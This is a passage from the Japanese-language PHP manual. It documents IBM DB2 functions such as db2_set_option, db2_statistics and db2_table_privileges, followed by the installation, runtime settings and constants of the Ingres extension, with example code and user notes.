$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* 接続リソースを取得します */
$conn = db2_connect($conn_string, '', '');

/* 有効なキーと値を使用して、オプションの連想配列を作成します */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
                    'binmode' => DB2_PASSTHRU,
              'db2_attr_case' => DB2_CASE_UPPER,
                     'cursor' => DB2_SCROLLABLE);

$stmt = db2_prepare($conn, 'SELECT * FROM EMPLOYEE');

/* 間違ったリソース、そして正しいオプションの配列と型を表す値を指定して関数をコールします */
$result = db2_set_option($stmt, $options, 1);

/* すべてのオプションが正しく設定できたかどうかを調べます */
if($result)
{
  echo 'オプションの設定に成功しました';
}
else
{
  echo 'オプションが設定できませんでした';
}
?>

上の例の出力は以下となります。

オプションが設定できませんでした

例7 すべてひとつにまとめる

<?php
/* データベース接続用のパラメータ */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* 接続文字列 */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* 接続リソースを取得します */
$conn = db2_connect($conn_string, '', '');

/* 有効なキーと値を使用して、オプションの連想配列を作成します */
$options = array('db2_attr_case' => DB2_CASE_LOWER,
                        'cursor' => DB2_SCROLLABLE);

$stmt = db2_prepare($conn, 'SELECT * FROM EMPLOYEE WHERE EMPNO = ? OR EMPNO = ?');

/* 正しいリソースとオプションの配列、そして型を表す値を指定して関数をコールします */
$option_result = db2_set_option($stmt, $options, 2);
$result = db2_execute($stmt, array('000130', '000140'));

/* スクロール可能なカーソルのため、1 行目より先に 2 行目を取得します */
print_r(db2_fetch_assoc($stmt, 2));
print '<br /><br />';
print_r(db2_fetch_assoc($stmt, 1));

?>

上の例の出力は以下となります。

Array
(
    [empno] => 000140
    [firstnme] => HEATHER
    [midinit] => A
    [lastname] => NICHOLLS
    [workdept] => C01
    [phoneno] => 1793
    [hiredate] => 1976-12-15
    [job] => ANALYST
    [edlevel] => 18
    [sex] => F
    [birthdate] => 1946-01-19
    [salary] => 28420.00
    [bonus] => 600.00
    [comm] => 2274.00
)

Array
(
    [empno] => 000130
    [firstnme] => DELORES
    [midinit] => M
    [lastname] => QUINTANA
    [workdept] => C01
    [phoneno] => 4578
    [hiredate] => 1971-07-28
    [job] => ANALYST
    [edlevel] => 16
    [sex] => F
    [birthdate] => 1925-09-15
    [salary] => 23800.00
    [bonus] => 500.00
    [comm] => 1904.00
)

例8 i5/OS カーソルは読み込み専用

<?php
  $conn = db2_connect("", "", "", array("i5_lib"=>"nobody"));
  $stmt = db2_prepare($conn, 'select * from names where first = ?');
  $name = "first2";
  db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
  $options = array("i5_fetch_only"=>DB2_I5_FETCH_ON);
  db2_set_option($stmt,$options,0);
  if (db2_execute($stmt)) {
    while ($row = db2_fetch_array($stmt)) {
      echo "{$row[0]} {$row[1]}";
    }
  }
?>

上の例の出力は以下となります。

first2 last2

参考

  • db2_connect() - データベースへの接続を返す
  • db2_pconnect() - データベースへの持続的接続を返す
  • db2_exec() - SQL 文を直接実行する
  • db2_prepare() - 実行する SQL 文を準備する
  • db2_cursor_type() - ステートメントリソースが使用しているカーソルの型を返す

User Contributed Notes

rtejpar at ca dot ibm dot com 03-Nov-2006 07:45
Examples 3 and 4 should output 'Options Set Successfully.'  This is because, only a single option's key/value is set incorrectly (other options are still correct), hence the function must return successfully. (Instead a PHP warning will most probably be issued).


テーブルのユニーク行 ID カラムを含む結果セットを返す

  • ≪ db2_set_option
  • db2_statistics ≫
  • PHP Manual
  • IBM DB2 関数
  • テーブルのユニーク行 ID カラムを含む結果セットを返す

db2_special_columns

(PECL ibm_db2 >= 1.0.0)

db2_special_columns — テーブルのユニーク行 ID カラムを含む結果セットを返す

説明

db2_special_columns ( resource $connection , string $qualifier , string $schema , string $table_name , int $scope ) : resource

テーブルのユニーク行 ID カラムを含む結果セットを返します。

パラメータ

connection

IBM DB2、Cloudscape あるいは Apache Derby データベースへの有効な接続。

qualifier

OS/390 あるいは z/OS サーバー上で稼動している DB2 データベースの修飾子。 その他のデータベースの場合には null あるいは空の文字列を渡します。

schema

テーブルを含むスキーマ。

table_name

テーブルの名前。

scope

ユニーク行 ID の有効期間の最小値を表す整数値。 以下の値のいずれかとなります。

整数値 | SQL 定数 | 説明
0 | SQL_SCOPE_CURROW | 行 ID は、カーソルがその行にある場合にのみ有効です。
1 | SQL_SCOPE_TRANSACTION | 行 ID は、そのトランザクションの間のみ有効です。
2 | SQL_SCOPE_SESSION | 行 ID は、その接続の間のみ有効です。

返り値

テーブルのユニーク行 ID 情報を含む結果セットの ステートメントリソースを返します。 行の内容は、以下のカラムで構成されています。

カラム名 | 説明
SCOPE

整数値 | SQL 定数 | 説明
0 | SQL_SCOPE_CURROW | 行 ID は、カーソルがその行にある場合にのみ有効です。
1 | SQL_SCOPE_TRANSACTION | 行 ID は、そのトランザクションの間のみ有効です。
2 | SQL_SCOPE_SESSION | 行 ID は、その接続の間のみ有効です。
COLUMN_NAME | ユニークカラムの名前。
DATA_TYPE | カラムの SQL データ型。
TYPE_NAME | カラムの SQL データ型を文字列で表したもの。
COLUMN_SIZE | カラムのサイズを表す整数値。
BUFFER_LENGTH | このカラムのデータを保存するために必要な最大のバイト数。
DECIMAL_DIGITS | カラムの位取り。位取りが適用できない場合は null。
NUM_PREC_RADIX | 10 (正確な数値データ型を表す)、 2 (概数データ型を表す)、 あるいは null (基数が適用できないデータ型を表す) のいずれか。
PSEUDO_COLUMN | 常に 1 を返します。

参考

  • db2_column_privileges() - テーブルのカラムおよび関連する権限情報を含む結果セットを返す
  • db2_columns() - テーブルのカラムおよび関連するメタデータを含む結果セットを返す
  • db2_foreign_keys() - テーブルの外部キーを含む結果セットを返す
  • db2_primary_keys() - テーブルの主キーを含む結果セットを返す
  • db2_procedure_columns() - ストアドプロシージャのパラメータを含む結果セットを返す
  • db2_procedures() - データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す
  • db2_statistics() - インデックスの情報およびテーブルの統計情報を含む結果セットを返す
  • db2_table_privileges() - データベース内のテーブルおよび関連する権限情報を含む結果セットを返す
  • db2_tables() - データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

User Contributed Notes

There are no user contributed notes for this page.


インデックスの情報およびテーブルの統計情報を含む結果セットを返す

  • ≪ db2_special_columns
  • db2_stmt_error ≫
  • PHP Manual
  • IBM DB2 関数
  • インデックスの情報およびテーブルの統計情報を含む結果セットを返す

db2_statistics

(PECL ibm_db2 >= 1.0.0)

db2_statistics — インデックスの情報およびテーブルの統計情報を含む結果セットを返す

説明

db2_statistics ( resource $connection , string $qualifier , string $schema , string $table-name , bool $unique ) : resource

インデックスの情報およびテーブルの統計情報を含む結果セットを返します。

パラメータ

connection

IBM DB2、Cloudscape あるいは Apache Derby データベースへの有効な接続。

qualifier

OS/390 あるいは z/OS サーバー上で稼動している DB2 データベースの修飾子。 その他のデータベースの場合には null あるいは空の文字列を渡します。

schema

対象となるテーブルを含むスキーマ。 このパラメータを null にすると、現在のユーザーのスキーマについての 統計およびインデックスが返されます。

table_name

テーブルの名前。

unique

返されるインデックスの型を表す整数値。

0

テーブルのユニークインデックスについての情報のみを返します。

1

テーブルのすべてのインデックスについての情報を返します。

返り値

指定したパラメータに一致するテーブルの統計およびインデックスを含む ステートメントリソースを返します。 行の内容は、以下のカラムで構成されています。

カラム名 | 説明
TABLE_CAT | テーブルを含むカタログの名前。テーブルがカタログを保持していない場合は null。
TABLE_SCHEM | テーブルを含むスキーマの名前。
TABLE_NAME | テーブルの名前。
NON_UNIQUE

インデックスが一意でなければならないかどうか、 あるいはその行がテーブルの統計情報であるかどうかを表す整数値。

返り値 | パラメータの型
0 (SQL_FALSE) | インデックスは、重複した値をとることができます。
1 (SQL_TRUE) | インデックスは、一意でなければなりません。
null | この行は、テーブル自身についての統計情報です。
INDEX_QUALIFIER | インデックスの資格を満たすため、INDEX_NAME の先頭に付加しなければならない修飾子を表す文字列。
INDEX_NAME | インデックスの名前を表す文字列。
TYPE

結果セットのこの行に含まれる情報の型を表す整数値。

返り値 | パラメータの型
0 (SQL_TABLE_STAT) | この行は、テーブル自身の統計情報を含みます。
1 (SQL_INDEX_CLUSTERED) | この行は、クラスタ化インデックスについての情報を含みます。
2 (SQL_INDEX_HASH) | この行は、ハッシュインデックスについての情報を含みます。
3 (SQL_INDEX_OTHER) | この行は、クラスタ化もハッシュも行われていない インデックスについての情報を含みます。
ORDINAL_POSITION | インデックス内の、1 から始まるカラムの位置。 その行がテーブル自身についての統計情報を含んでいる場合は null。
COLUMN_NAME | インデックス内のカラムの名前。 その行がテーブル自身についての統計情報を含んでいる場合は null。
ASC_OR_DESC | カラムの並び順が昇順の場合は A、 降順の場合は D、 その行がテーブル自身についての統計情報を含んでいる場合は null。
CARDINALITY

その行がインデックスの情報を含んでいる場合、このカラムには インデックス内の一意な値の数を表す整数値が含まれます。

その行がテーブル自身についての情報を含んでいる場合、 このカラムにはテーブルの行数を表す整数値が含まれます。

PAGES

その行がインデックスの情報を含んでいる場合、このカラムには インデックスを保存するために使用しているページ数を表す整数値が含まれます。

その行がテーブル自身についての情報を含んでいる場合、このカラムには テーブルを保存するために使用しているページ数を表す整数値が含まれます。

FILTER_CONDITION | 常に null。

参考

  • db2_column_privileges() - テーブルのカラムおよび関連する権限情報を含む結果セットを返す
  • db2_columns() - テーブルのカラムおよび関連するメタデータを含む結果セットを返す
  • db2_foreign_keys() - テーブルの外部キーを含む結果セットを返す
  • db2_primary_keys() - テーブルの主キーを含む結果セットを返す
  • db2_procedure_columns() - ストアドプロシージャのパラメータを含む結果セットを返す
  • db2_procedures() - データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す
  • db2_special_columns() - テーブルのユニーク行 ID カラムを含む結果セットを返す
  • db2_table_privileges() - データベース内のテーブルおよび関連する権限情報を含む結果セットを返す
  • db2_tables() - データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

User Contributed Notes

There are no user contributed notes for this page.


SQL 文が返す SQLSTATE を含む文字列を返す

  • ≪ db2_statistics
  • db2_stmt_errormsg ≫
  • PHP Manual
  • IBM DB2 関数
  • SQL 文が返す SQLSTATE を含む文字列を返す

db2_stmt_error

(PECL ibm_db2 >= 1.0.0)

db2_stmt_error — SQL 文が返す SQLSTATE を含む文字列を返す

説明

db2_stmt_error ( resource $stmt = ? ) : string

SQL 文が返す SQLSTATE を含む文字列を返します。

db2_stmt_error() の引数にステートメントリソースを 渡さなかった場合は、直近で (例えば db2_prepare() あるいは db2_exec() を使用して) 返そうとしたステートメントリソースに関連する SQLSTATE を返します。

SQLSTATE の値の意味を調べるには、DB2 コマンドラインプロセッサのプロンプトで 次のコマンドを発行します。 db2 '? sqlstate-value' また、db2_stmt_errormsg() をコールして、 明示的なエラーメッセージと、それに関連する SQLCODE の値を取得することも可能です。

パラメータ

stmt

有効なステートメントリソース。

返り値

SQLSTATE を含む文字列を返します。

参考

  • db2_conn_error() - 直近の接続から返された SQLSTATE を含む文字列を返す
  • db2_conn_errormsg() - 直近の接続エラーメッセージおよび SQLCODE を返す
  • db2_stmt_errormsg() - 直近の SQL 文のエラーメッセージを含む文字列を返す

User Contributed Notes

There are no user contributed notes for this page.


直近の SQL 文のエラーメッセージを含む文字列を返す

  • ≪ db2_stmt_error
  • db2_table_privileges ≫
  • PHP Manual
  • IBM DB2 関数
  • 直近の SQL 文のエラーメッセージを含む文字列を返す

db2_stmt_errormsg

(PECL ibm_db2 >= 1.0.0)

db2_stmt_errormsg — 直近の SQL 文のエラーメッセージを含む文字列を返す

説明

db2_stmt_errormsg ( resource $stmt = ? ) : string

直近の SQL 文のエラーメッセージを含む文字列を返します。

db2_stmt_errormsg() の引数にステートメントリソースを 渡さなかった場合は、直近で (例えば db2_prepare() あるいは db2_exec() を使用して) 返そうとしたステートメントリソースに関連するエラーメッセージを返します。

パラメータ

stmt

有効なステートメントリソース。

返り値

SQL 文の発行により直近に発生したエラーを表す エラーメッセージおよび SQLSTATE を返します。

参考

  • db2_conn_error() - 直近の接続から返された SQLSTATE を含む文字列を返す
  • db2_conn_errormsg() - 直近の接続エラーメッセージおよび SQLCODE を返す
  • db2_stmt_error() - SQL 文が返す SQLSTATE を含む文字列を返す

User Contributed Notes

There are no user contributed notes for this page.


データベース内のテーブルおよび関連する権限情報を含む結果セットを返す

  • ≪ db2_stmt_errormsg
  • db2_tables ≫
  • PHP Manual
  • IBM DB2 関数
  • データベース内のテーブルおよび関連する権限情報を含む結果セットを返す

db2_table_privileges

(PECL ibm_db2 >= 1.0.0)

db2_table_privileges — データベース内のテーブルおよび関連する権限情報を含む結果セットを返す

説明

db2_table_privileges ( resource $connection , string $qualifier = ? , string $schema = ? , string $table_name = ? ) : resource

データベース内のテーブルおよび関連する権限情報を含む結果セットを返します。

パラメータ

connection

IBM DB2、Cloudscape あるいは Apache Derby データベースへの有効な接続。

qualifier

OS/390 あるいは z/OS サーバー上で稼動している DB2 データベースの修飾子。 その他のデータベースの場合には null あるいは空の文字列を渡します。

schema

テーブルを含むスキーマ。このパラメータには、ワイルドカードとして _ および % を含む検索パターンを指定することができます。

table_name

テーブルの名前。このパラメータには、ワイルドカードとして _ および % を含む検索パターンを指定することができます。

返り値

指定したパラメータに一致するテーブルの権限情報を含むステートメントリソースを返します。 行の内容は、以下のカラムで構成されています。

カラム名 | 説明
TABLE_CAT | テーブルを含むカタログの名前。テーブルがカタログを保持していない場合は null。
TABLE_SCHEM | テーブルを含むスキーマの名前。
TABLE_NAME | テーブルの名前。
GRANTOR | その権限を与えたユーザーの認証 ID。
GRANTEE | その権限を与えられたユーザーの認証 ID。
PRIVILEGE | 与えられた権限。ALTER、 CONTROL、DELETE、INDEX、INSERT、REFERENCES、SELECT あるいは UPDATE のいずれかです。
IS_GRANTABLE | grantee が、この権限を他のユーザーに与えることができるかどうかを、 文字列 "YES" あるいは "NO" で表す。

参考

  • db2_column_privileges() - テーブルのカラムおよび関連する権限情報を含む結果セットを返す
  • db2_columns() - テーブルのカラムおよび関連するメタデータを含む結果セットを返す
  • db2_foreign_keys() - テーブルの外部キーを含む結果セットを返す
  • db2_primary_keys() - テーブルの主キーを含む結果セットを返す
  • db2_procedure_columns() - ストアドプロシージャのパラメータを含む結果セットを返す
  • db2_procedures() - データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す
  • db2_special_columns() - テーブルのユニーク行 ID カラムを含む結果セットを返す
  • db2_statistics() - インデックスの情報およびテーブルの統計情報を含む結果セットを返す
  • db2_tables() - データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

User Contributed Notes

andryzulfikar at gmail dot com 28-Jun-2012 07:52
<?php
// using db2_table_privileges example:

$result = db2_table_privileges($conn,NULL,'DB2ADMIN');

while($obj = db2_fetch_object($result)){
       print_r($obj)
}

/* output

stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => ALTER
    [IS_GRANTABLE] => YES
)
stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => CONTROL
    [IS_GRANTABLE] => NO
)
stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => DELETE
    [IS_GRANTABLE] => YES
)
*/

?>


データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

  • ≪ db2_table_privileges
  • Ingres ≫
  • PHP Manual
  • IBM DB2 関数
  • データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

db2_tables

(PECL ibm_db2 >= 1.0.0)

db2_tables — データベース内のテーブルおよび関連するメタデータを含む結果セットを返す

説明

db2_tables ( resource $connection , string $qualifier = ? , string $schema = ? , string $table-name = ? , string $table-type = ? ) : resource

データベース内のテーブルおよび関連するメタデータを含む結果セットを返します。

パラメータ

connection

IBM DB2、Cloudscape あるいは Apache Derby データベースへの有効な接続。

qualifier

OS/390 あるいは z/OS サーバー上で稼動している DB2 データベースの修飾子。 その他のデータベースの場合には null あるいは空の文字列を渡します。

schema

テーブルを含むスキーマ。このパラメータでは、ワイルドカードとして _ および % を含む検索パターンを使用可能です。

table-name

テーブルの名前。このパラメータでは、ワイルドカードとして _ および % を含む検索パターンを使用可能です。

table-type

テーブル型の識別子をカンマで区切ったリスト。 すべてのテーブル型を指定するには、null あるいは空の文字列を指定します。 有効なテーブル型識別子は ALIAS、HIERARCHY TABLE、INOPERATIVE VIEW、NICKNAME、 MATERIALIZED QUERY TABLE、SYSTEM TABLE、TABLE、TYPED TABLE、TYPED VIEW および VIEW です。

返り値

指定したパラメータに一致するテーブルの情報を含む結果セットのリソースを返します。 行の内容は、以下のカラムで構成されています。

カラム名 | 説明
TABLE_CAT | テーブルを含むカタログ。テーブルがカタログを保持していない場合は null。
TABLE_SCHEM | テーブルを含むスキーマの名前。
TABLE_NAME | テーブルの名前。
TABLE_TYPE | テーブルの型識別子。
REMARKS | テーブルの説明。

参考

  • db2_column_privileges() - テーブルのカラムおよび関連する権限情報を含む結果セットを返す
  • db2_columns() - テーブルのカラムおよび関連するメタデータを含む結果セットを返す
  • db2_foreign_keys() - テーブルの外部キーを含む結果セットを返す
  • db2_primary_keys() - テーブルの主キーを含む結果セットを返す
  • db2_procedure_columns() - ストアドプロシージャのパラメータを含む結果セットを返す
  • db2_procedures() - データベース内に登録されているストアドプロシージャの一覧を含む結果セットを返す
  • db2_special_columns() - テーブルのユニーク行 ID カラムを含む結果セットを返す
  • db2_statistics() - インデックスの情報およびテーブルの統計情報を含む結果セットを返す
  • db2_table_privileges() - データベース内のテーブルおよび関連する権限情報を含む結果セットを返す

User Contributed Notes

There are no user contributed notes for this page.


Ingres DBMS, EDBC および Enterprise Access Gateways

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な使用法
  • Ingres 関数
    • ingres_autocommit_state — 接続が autocommit を使っているかどうかを調べる
    • ingres_autocommit — autocommit をオンまたはオフに切替える
    • ingres_charset — 文字セットを返す
    • ingres_close — Ingres データベース接続を閉じる
    • ingres_commit — トランザクションをコミットする
    • ingres_connect — Ingres データベースへの接続をオープンする
    • ingres_cursor — 指定した結果リソースのカーソル名を取得する
    • ingres_errno — 直近に発生した ingres エラー番号を取得する
    • ingres_error — 直近に発生したエラーのエラーメッセージを取得する
    • ingres_errsqlstate — 直近に発生した SQLSTATE エラーコードを取得する
    • ingres_escape_string — クエリで使うために特殊文字をエスケープする
    • ingres_execute — プリペアドクエリを実行する
    • ingres_fetch_array — 1 行分の結果を配列に取得する
    • ingres_fetch_assoc — 1 行分の結果を連想配列に取得する
    • ingres_fetch_object — 1 行分の結果をオブジェクトとして取得する
    • ingres_fetch_proc_return — プロシージャコールからの返り値を取得する
    • ingres_fetch_row — 1 行分の結果を数値添字配列として取得する
    • ingres_field_length — フィールド長を得る
    • ingres_field_name — クエリ結果においてフィールド名を得る
    • ingres_field_nullable — フィールドに null 値を設定可能かどうか調べる
    • ingres_field_precision — フィールドの精度を得る
    • ingres_field_scale — フィールドのスケールを得る
    • ingres_field_type — クエリ結果においてフィールドの型を得る
    • ingres_free_result — 結果 ID に関連づけられたリソースを解放する
    • ingres_next_error — 次の Ingres エラーを取得する
    • ingres_num_fields — 直近のクエリにより返されたフィールドの数を得る
    • ingres_num_rows — クエリが変更したり返したりしたレコードの数を取得する
    • ingres_pconnect — Ingres データベースへの持続的接続をオープンする
    • ingres_prepare — 後で実行するためのクエリを準備する
    • ingres_query — Ingres に SQL クエリを送信する
    • ingres_result_seek — データを取得する前に行の位置を設定する
    • ingres_rollback — トランザクションをロールバックする
    • ingres_set_environment — 環境を設定して出力オプションを制御する
    • ingres_unbuffered_query — 未バッファ SQL クエリを Ingres に送信する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

PHP 用の Ingres ドライバを使用すると、Ingres DBMS, EDBC および Enterprise Access Gateways への接続と問い合わせが可能となります。

注意:

この拡張モジュールは » PECL レポジトリに移動 されており、以下のバージョン以降 PHP にバンドルされなくなっています。 PHP 5.1.0.

User Contributed Notes

There are no user contributed notes for this page.


要件

Ingres 拡張モジュールを使用したりビルドしたりするには、 Ingres クライアント環境が動作することが必要となります。Ingres クライアントソフトウェアは » http://esd.ingres.com/ でダウンロードできます。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。 この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/ingres.

この PECL 拡張モジュールの DLL は » http://esd.ingres.com/product/drivers/PHP/ からダウンロードできます。

これらの関数を利用可能とするには、 この拡張モジュールを » ダウンロード し、--with-ingres[=DIR] を付け、Ingres サポートを有効にして PHP をコンパイルする必要があります。ただし、DIR は Ingres ベースディレクトリで、/II/ingres が デフォルトです。環境変数 II_SYSTEM が正しく設定されていない場合、 Ingres をインストールしたディレクトリを指定するために --with-ingres=DIR を使用することが 必要となる可能性があります。

バージョン 2.x 以降用に書かれた PHP コードは、この PHP 拡張モジュールの以前のバージョンとの互換性はありません。 しかし、--enable-ingres2 オプションを使用すれば、互換性のないふたつのリリースを同一の PHP 環境で動かすことができます。この設定オプションは、 拡張モジュールの名前を ingres2 に変更し、 関数名や設定項目名そして定数名も変更します。 たとえば、このオプションを有効にした場合 ingres_connect() は ingres2_connect() となります。

この拡張モジュールを使用するには、環境変数 II_SYSTEM を定義しておかなければなりません。Linux や UNIX のユーザーは、 さらに LD_LIBRARY_PATH などで共有ライブラリのサーチパスも定義しなければなりません。 Apache web server で使用する場合は、これらの変数を Apache の起動スクリプトで明示的に設定する必要があります。 さらに、Ingres 拡張モジュールが正しい共有ライブラリを読み込めるように PassEnv ディレクティブも必要となります。

例1 Ingres 用の PassEnv の使用例

<IfModule mod_env.c>
    PassEnv II_SYSTEM
    PassEnv LD_LIBRARY_PATH
</IfModule>

注意:

さまざまなウェブサーバーやオペレーティングシステム用の設定例については » http://community.ingres.com/wiki/Ingres_Articles#Ingres_and_Web_Servers を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Ingres 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
ingres.allow_persistent | "1" | PHP_INI_SYSTEM | ingres 1.0.0 以降で使用可能です。
ingres.array_index_start | "1" | PHP_INI_ALL | ingres 1.4.0 以降で使用可能です。
ingres.auto | "1" | PHP_INI_ALL | ingres 2.0.0 以降で使用可能です。
ingres.blob_segment_length | "4096" | PHP_INI_ALL | ingres 1.2.0 以降で使用可能です。
ingres.cursor_mode | "0" | PHP_INI_ALL | ingres 1.1.0 以降で使用可能です。
ingres.default_database | NULL | PHP_INI_ALL | ingres 1.0.0 以降で使用可能です。
ingres.default_password | NULL | PHP_INI_ALL | ingres 1.0.0 以降で使用可能です。
ingres.default_user | NULL | PHP_INI_ALL | ingres 1.0.0 以降で使用可能です。
ingres.describe | 1 | PHP_INI_ALL | ingres 2.1.0 以降で使用可能です。
ingres.fetch_buffer_size | 100 | PHP_INI_ALL | ingres 2.1.0 以降で使用可能です。
ingres.max_links | "-1" | PHP_INI_SYSTEM | ingres 1.0.0 以降で使用可能です。
ingres.max_persistent | "-1" | PHP_INI_SYSTEM | ingres 1.0.0 以降で使用可能です。
ingres.reuse_connection | "1" | PHP_INI_ALL | ingres 2.0.0 以降で使用可能です。
ingres.scrollable | "1" | PHP_INI_ALL | ingres 2.0.0 以降で使用可能です。
ingres.trace | "0" | PHP_INI_ALL | ingres 2.0.0 以降で使用可能です。
ingres.trace_connect | "0" | PHP_INI_ALL | ingres 1.2.1 以降で使用可能です。
ingres.utf8 | "1" | PHP_INI_ALL | ingres 2.0.0 以降で使用可能です。
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

ingres.allow_persistent bool

Ingres への 持続的接続 を許可するかどうかを設定します。

ingres.array_index_start int

ingres_fetch_row() あるいは ingres_fetch_array() が生成する配列の整数キーの開始値を指定します。 デフォルトでは ingres.array_index_start は 1 となります。ingres 拡張モジュールの動作を他のデータベース用の拡張モジュールとそろえるには、 これを 0 に設定します。

ingres.auto bool

自動コミットのエミュレート機能を有効あるいは無効にします。 Ingres で複数のカーソルを開くには、自動コミットを有効にしなければなりません。 これを有効にすると、ドライバが自動コミット機能をエミュレートします。

ingres.blob_segment_length int

BLOB データの読み込み時に使用するメモリの量をバイト単位で指定します。

ingres.cursor_mode int

ingres_prepare() でカーソルを開く際のデフォルトのモードを指定します。 INGRES_CURSOR_UPDATE あるいは INGRES_CURSOR_READONLY のいずれかです。

ingres.default_database string

データベースサーバーへの接続時に名前を指定しなかった場合に使用する デフォルトのデータベース名を指定します。 SQL セーフモード の場合は適用されません。

ingres.default_password string

データベースサーバーへの接続時に名前を指定しなかった場合に使用する デフォルトのパスワードを指定します。 SQL セーフモード の場合は適用されません。

ingres.default_user string

データベースサーバーへの接続時に名前を指定しなかった場合に使用する デフォルトのユーザー名を指定します。 SQL セーフモード の場合は適用されません。

ingres.describe bool

パラメータを使うクエリで期待しているデータ型を DESCRIBE INPUT で調べられるようにします。 Ingres 9.1.0 以降で使用可能です。無効にすると、パラメータつきクエリを渡された場合に ingres_query() の types パラメータで型を自分で調べなければならなくなります。

注意:

この機能を有効にして ingres_query() を使用すると、 この拡張モジュールとサーバーとの間でのトラフィックが増加します。 トラフィックの増加を最小限に抑えるには、ingres_prepare() および ingres_execute() を使用します。

ingres.fetch_buffer_size int

ingres_fetch_array()、
ingres_fetch_object() および
ingres_fetch_row() が一度のフェッチ操作で事前取得を試みる行数を指定します。

ingres.max_links int

プロセス単位あるいはスレッド単位で使用できる Ingres セッションの最大数を指定します。 このセッション数は、Ingres で設定されている接続セッション数の総数を超えてはいけません。

ingres.max_persistent int

プロセス単位あるいはスレッド単位で使用できる持続的 Ingres セッションの最大数を指定します。 このセッション数は、Ingres で設定されている接続セッション数の総数を超えてはいけません。

ingres.reuse_connection bool

同一データベースへの同一ユーザー名での接続があった場合に、 既存のアクティブな接続を再利用します。

ingres.scrollable bool

スクロール可能なカーソルのサポートを有効にします。CLOB あるいは BLOB データを取得する際にはこれを false にしておかなければなりません。 Ingres 9.2.0 以降で使用可能です。

ingres.trace bool

E_NOTICE メッセージによるシンプルなトレース機能を有効にします。

ingres.trace_connect bool

ingres_connect() あるいは ingres_pconnect() のコール時に E_NOTICE メッセージを表示します。

ingres.utf8 bool

National Character 型のカラム (NVARCHAR あるいは NCHAR) に渡された文字列が UTF8 エンコーディングを使用しているものとみなし、 サーバー用に UTF16 に変換します。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

ingres_connect() および ingres_pconnect() は Ingres リンク ID を返します。

ingres_query() および ingres_unbuffered_query() は Ingres 結果 ID を返します。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

INGRES_ASSOC (int)
フィールド名をキーとする配列でカラムデータを返します。 ingres_fetch_array() で使用します。
INGRES_NUM (int)
数値添字の配列でカラムデータを返します。 デフォルトでは、結果の最初のフィールドの添字は 1 となります。 これを変更するには ingres.array_index_start を参照ください。 ingres_fetch_array() で使用します。
INGRES_BOTH (int)
数値添字・フィールド名キーの両方の形式でカラムデータを返します。 ingres_fetch_array() で使用します。
INGRES_EXT_VERSION (string)
Ingres 拡張モジュールのバージョンを表します。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。
INGRES_API_VERSION (int)
この拡張モジュールがビルドされた際の Ingres OpenAPI のバージョンを表します。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。
INGRES_CURSOR_READONLY (int)
Ingres カーソルが "readonly" モードでオープンされていることを表します。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres.cursor_mode で使用します。
INGRES_CURSOR_UPDATE (int)
Ingres カーソルが "for update" モードでオープンされていることを表します。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres.cursor_mode で使用します。
INGRES_DATE_MULTINATIONAL (int)
II_DATE_FORMAT の設定 MULTINATIONAL と等価です。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres_connect()、ingres_pconnect() および ingres_set_environment() で使用します。 ingres_set_environment() の オプション も参照ください。
INGRES_DATE_MULTINATIONAL4 (int)
II_DATE_FORMAT の設定 MULTINATIONAL4 と等価です。 PECL 拡張モジュールのバージョン 1.2.0 以降で使用可能です。 ingres_connect()、ingres_pconnect() および ingres_set_environment() で使用します。 ingres_set_environment() の オプション も参照ください。
INGRES_DATE_FINNISH (int)
